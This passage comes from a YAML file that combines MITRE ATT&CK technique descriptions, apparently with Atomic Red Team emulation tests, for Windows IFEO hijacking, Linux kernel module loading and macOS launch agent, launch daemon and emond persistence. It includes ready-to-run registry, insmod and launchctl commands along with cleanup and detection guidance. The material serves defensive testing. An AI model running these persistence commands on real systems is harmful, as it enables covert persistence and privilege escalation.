        source_name: Symantec Ushedix June 2008
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Oddvar Moe, @oddvarmoe
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)

        Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1546.012
    atomic_tests:
    - name: IFEO Add Debugger
      auto_generated_guid: fdda2626-5234-4c90-b163-60849a24c0b8
      description: 'Leverage Global Flags Settings

'
      supported_platforms:
      - windows
      input_arguments:
        target_binary:
          description: Binary To Attach To
          type: Path
          default: C:\Windows\System32\calc.exe
        payload_binary:
          description: Binary To Execute
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
          File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"

'
        cleanup_command: 'reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
          NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger
          /f >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: IFEO Global Flags
      auto_generated_guid: 46b1f278-c8ee-4aa5-acce-65e77b11f3c1
      description: 'Leverage Global Flags Settings

'
      supported_platforms:
      - windows
      input_arguments:
        target_binary:
          description: Binary To Attach To
          type: Path
          default: C:\Windows\System32\notepad.exe
        payload_binary:
          description: Binary To Execute
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"
        cleanup_command: |
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1547.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.006
        url: https://attack.mitre.org/techniques/T1547/006
      - source_name: Linux Kernel Programming
        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
          Module Programming Guide. Retrieved April 6, 2018.
      - url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
        description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs.
          Retrieved April 6, 2018.
        source_name: Linux Kernel Module Programming Guide
      - url: http://www.megasecurity.org/papers/Rootkits.pdf
        description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved
          April 6, 2018.
        source_name: iDefense Rootkit Overview
      - source_name: Apple Kernel Extension Deprecation
        url: https://developer.apple.com/support/kernel-extensions/
        description: Apple. (n.d.). Deprecated Kernel Extensions and System Extension
          Alternatives. Retrieved November 4, 2020.
      - url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
        description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility
          to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.'
        source_name: Volatility Phalanx2
      - url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
        description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
          Retrieved December 21, 2017.
        source_name: CrowdStrike Linux Rootkit
      - url: https://github.com/f0rb1dd3n/Reptile
        description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved
          April 9, 2018.
        source_name: GitHub Reptile
      - url: https://github.com/m0nad/Diamorphine
        description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux
          Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.
        source_name: GitHub Diamorphine
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite.
          Retrieved April 6, 2018.
        source_name: RSAC 2015 San Francisco Patrick Wardle
      - url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
        description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel
          Extension Loading’ is Broken. Retrieved April 6, 2018.
        source_name: Synack Secure Kernel Extension Broken
      - url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
        description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble
          your MacOS spy. Retrieved April 6, 2018.'
        source_name: Securelist Ventir
      - source_name: Trend Micro Skidmap
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/
        description: Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux
          Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload.
          Retrieved June 4, 2020.
      - url: http://tldp.org/HOWTO/Module-HOWTO/x197.html
        description: Henderson, B. (2006, September 24). How To Insert And Remove
          LKMs. Retrieved April 9, 2018.
        source_name: Linux Loadable Kernel Module Insert and Remove LKMs
      - url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
        description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved
          April 9, 2018.
        source_name: Wikipedia Loadable Kernel Module
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Kernel Modules and Extensions
      description: |-
        Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) 

        When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

        Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)

        Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)
      id: attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-03-30T00:59:53.716Z'
      created: '2020-01-24T17:42:23.339Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - root
      x_mitre_detection: |-
        Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)

        For macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.

        Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Kernel: Kernel Module Load'
      x_mitre_contributors:
      - Wayne Silva, F-Secure Countercept
      - Anastasios Pingios
      - Jeremy Galloway
      - Red Canary
      x_mitre_platforms:
      - macOS
      - Linux
      identifier: T1547.006
    atomic_tests:
    - name: Linux - Load Kernel Module via insmod
      auto_generated_guid: 687dcb93-9656-4853-9c36-9977315e9d23
      description: 'This test uses the insmod command to load a kernel module for
        Linux.

'
      supported_platforms:
      - linux
      input_arguments:
        module_name:
          description: Name of the kernel module name.
          type: String
          default: T1547006
        module_path:
          description: Folder used to store the module.
          type: Path
          default: "/tmp/T1547.006/T1547006.ko"
        temp_folder:
          description: Temp folder used to compile the code.
          type: Path
          default: "/tmp/T1547.006"
        module_source_path:
          description: Path to download Gsecdump binary file
          type: Url
          default: PathToAtomicsFolder/T1547.006/src
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location

'
        prereq_command: 'if [ -f #{module_path} ]; then exit 0; else exit 1; fi;

'
        get_prereq_command: |
          if [ ! -d #{temp_folder} ]; then mkdir #{temp_folder}; touch #{temp_folder}/safe_to_delete; fi;
          cp #{module_source_path}/* #{temp_folder}/
          cd #{temp_folder}; make
          if [ ! -f #{module_path} ]; then mv #{temp_folder}/#{module_name}.ko #{module_path}; fi;
      executor:
        command: 'sudo insmod #{module_path}

'
        cleanup_command: |
          sudo rmmod #{module_name}
          [ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder}
        name: bash
        elevation_required: true
  T1546.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.006
        url: https://attack.mitre.org/techniques/T1546/006
      - url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
          July 10, 2017.
        source_name: Writing Bad Malware for OSX
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
          Retrieved July 10, 2017.
        source_name: Malware Persistence on OS X
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: LC_LOAD_DYLIB Addition
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.

        Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)
      id: attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-03-30T00:51:58.454Z'
      created: '2020-01-24T14:21:52.750Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitor processes for those that may be used to modify binary
        headers. Monitor file systems for changes to application binaries and invalid
        checksums/signatures. Changes to binaries that do not line up with application
        updates or patches are also extremely suspicious.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'File: File Modification'
      - 'Module: Module Load'
      x_mitre_platforms:
      - macOS
    atomic_tests: []
  T1547.008:
    technique:
      created: '2020-01-24T18:38:55.801Z'
      modified: '2020-03-25T16:52:26.567Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      id: attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4
      description: |-
        Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)

        Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.
      name: LSASS Driver
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547.008
        url: https://attack.mitre.org/techniques/T1547/008
      - url: https://technet.microsoft.com/library/cc961760.aspx
        description: Microsoft. (n.d.). Security Subsystem Architecture. Retrieved
          November 27, 2017.
        source_name: Microsoft Security Subsystem
      - url: https://technet.microsoft.com/library/dn408187.aspx
        description: Microsoft. (2014, March 12). Configuring Additional LSA Protection.
          Retrieved November 27, 2017.
        source_name: Microsoft LSA Protection Mar 2014
      - url: https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
        description: Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November
          27, 2017.
        source_name: Microsoft DLL Security
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Vincent Le Toux
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Driver: Driver Load'
      - 'File: File Modification'
      - 'File: File Creation'
      x_mitre_detection: "With LSA Protection enabled, monitor the event logs (Events
        3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation:
        Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe.
        (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc
        utility (Citation: TechNet Autoruns) to examine loaded drivers associated
        with the LSA. "
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1543.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1543.001
        url: https://attack.mitre.org/techniques/T1543/001
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        source_name: AppleDocs Launch Agent Daemons
      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        source_name: OSX Keydnap malware
      - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
          code. Retrieved July 5, 2017.
        source_name: Antiquated Mac Malware
      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
          traffic. Retrieved July 10, 2017.
        source_name: OSX.Dok Malware
      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
        source_name: Sofacy Komplex Trojan
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
        source_name: OSX Malware Detection
      - url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
        description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
          Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
        source_name: OceanLotus for OS X
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Launch Agent
      description: "Adversaries may create or modify launch agents to repeatedly execute
        malicious payloads as part of persistence. Per Apple’s developer documentation,
        when a user logs in, a per-user launchd process is started which loads the
        parameters for each launch-on-demand user agent from the property list (plist)
        files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>,
        and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent
        Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware).
        These launch agents have property list files which point to the executables
        that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install
        a new launch agent that can be configured to execute at login by using launchd
        or launchctl to load a plist into the appropriate directories  (Citation:
        Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The
        agent name may be disguised by using a name from a related operating system
        or benign software. Launch Agents are created with user level privileges and
        are executed with the privileges of the user when they log in (Citation: OSX
        Malware Detection) (Citation: OceanLotus for OS X). They can be set up to
        execute when a specific user logs in (in the specific user’s directory structure)
        or when any user logs in (which requires administrator privileges)."
      id: attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-25T22:11:45.513Z'
      created: '2020-01-17T16:10:58.592Z'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Service: Service Creation'
      - 'Service: Service Modification'
      x_mitre_detection: Monitor Launch Agent creation through additional plist files
        and utilities such as Objective-See’s  KnockKnock application. Launch Agents
        also require files on disk for persistence which can also be monitored via
        other file monitoring applications.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_platforms:
      - macOS
      identifier: T1543.001
    atomic_tests:
    - name: Launch Agent
      auto_generated_guid: a5983dee-bf6c-4eaf-951c-dbc1a7b90900
      description: 'Create a plist and execute it

'
      supported_platforms:
      - macos
      input_arguments:
        plist_filename:
          description: filename
          type: String
          default: com.atomicredteam.plist
        path_malicious_plist:
          description: Name of file to store in cron folder
          type: String
          default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

'
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'echo "The shared library doesn''t exist. Check the path";
          exit 1;

'
      executor:
        name: bash
        elevation_required: true
        command: |
          if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi;
          sudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename}
          sudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename}
        cleanup_command: |
          sudo launchctl unload ~/Library/LaunchAgents/#{plist_filename}
          sudo rm ~/Library/LaunchAgents/#{plist_filename}
  T1543.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1543.004
        url: https://attack.mitre.org/techniques/T1543/004
      - external_id: CAPEC-550
        source_name: capec
        url: https://capec.mitre.org/data/definitions/550.html
      - external_id: CAPEC-551
        source_name: capec
        url: https://capec.mitre.org/data/definitions/551.html
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        source_name: AppleDocs Launch Agent Daemons
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
        source_name: OSX Malware Detection
      - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
        description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
          Retrieved July 10, 2017.'
        source_name: WireLurker
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Launch Daemon
      description: "Adversaries may create or modify launch daemons to repeatedly
        execute malicious payloads as part of persistence. Per Apple’s developer documentation,
        when macOS and OS X boot up, launchd is run to finish system initialization.
        This process loads the parameters for each launch-on-demand system-level daemon
        from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code>
        and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent
        Daemons). These LaunchDaemons have property list files which point to the
        executables that will be launched (Citation: Methods of Mac Malware Persistence).
        \n\nAdversaries may install a new launch daemon that can be configured to
        execute at startup by using launchd or launchctl to load a plist into the
        appropriate directories  (Citation: OSX Malware Detection). The daemon name
        may be disguised by using a name from a related operating system or benign
        software (Citation: WireLurker). Launch Daemons may be created with administrator
        privileges, but are executed under root privileges, so an adversary may also
        use a service to escalate privileges from administrator to root. \n\nThe plist
        file permissions must be root:wheel, but the script or program that it points
        to has no such requirement. So, it is possible for poor configurations to
        allow an adversary to modify a current Launch Daemon’s executable and gain
        persistence or Privilege Escalation. "
      id: attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-09-16T15:46:44.130Z'
      created: '2020-01-17T19:23:15.227Z'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Service: Service Creation'
      - 'Service: Service Modification'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - root
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: 'Monitor for launch daemon creation or modification through
        plist files and utilities such as Objective-See''s KnockKnock application. '
      x_mitre_platforms:
      - macOS
      identifier: T1543.004
    atomic_tests:
    - name: Launch Daemon
      auto_generated_guid: 03ab8df5-3a6b-4417-b6bd-bb7a5cfd74cf
      description: 'Utilize LaunchDaemon to launch `Hello World`

'
      supported_platforms:
      - macos
      input_arguments:
        plist_filename:
          description: filename
          type: String
          default: com.atomicredteam.plist
        path_malicious_plist:
          description: Name of file to store in cron folder
          type: String
          default: "$PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

'
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and
          try again."; exit 1;

'
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename}
          sudo launchctl load -w /Library/LaunchDaemons/#{plist_filename}
        cleanup_command: |
          sudo launchctl unload /Library/LaunchDaemons/#{plist_filename}
          sudo rm /Library/LaunchDaemons/#{plist_filename}
  T1053.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.004
        url: https://attack.mitre.org/techniques/T1053/004
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        source_name: AppleDocs Launch Agent Daemons
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Launchd
      description: |-
        Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

        An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.
      id: attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-23T22:41:14.739Z'
      created: '2019-12-03T14:15:27.452Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: false
      x_mitre_permissions_required:
      - root
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc. \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement."
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - macOS
      identifier: T1053.004
    atomic_tests:
    - name: Event Monitor Daemon Persistence
      auto_generated_guid: 11979f23-9b9d-482a-9935-6fc9cd022c3e
      description: "This test adds persistence via a plist to execute via the macOS
        Event Monitor Daemon. \n"
      supported_platforms:
      - macos
      input_arguments:
        script_location:
          description: evil plist location
          type: Path
          default: "$PathToAtomicsFolder/T1053.004/src/atomicredteam_T1053_004.plist"
        script_destination:
          description: Path where to move the evil plist
          type: Path
          default: "/etc/emond.d/rules/atomicredteam_T1053_004.plist"
        empty_file:
          description: Random name of the empty file used to trigger emond service
          type: String
          default: randomflag
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{script_location} #{script_destination}
          sudo touch /private/var/db/emondClients/#{empty_file}
        cleanup_command: |
          sudo rm #{script_destination}
          sudo rm /private/var/db/emondClients/#{empty_file}
  T1078.003:
    technique:
      id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2
      description: "Adversaries may obtain and abuse credentials of a local account
        as a means of gaining Initial Access, Persistence, Privilege Escalation, or
        Defense Evasion. Local accounts are those configured by an organization for
        use by users, remote support, services, or for administration on a single
        system or service.\n\nLocal Accounts may also be abused to elevate privileges
        and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
        Password reuse may allow the abuse of local accounts across a set of machines
        on a network for the purposes of Privilege Escalation and Lateral Movement. "
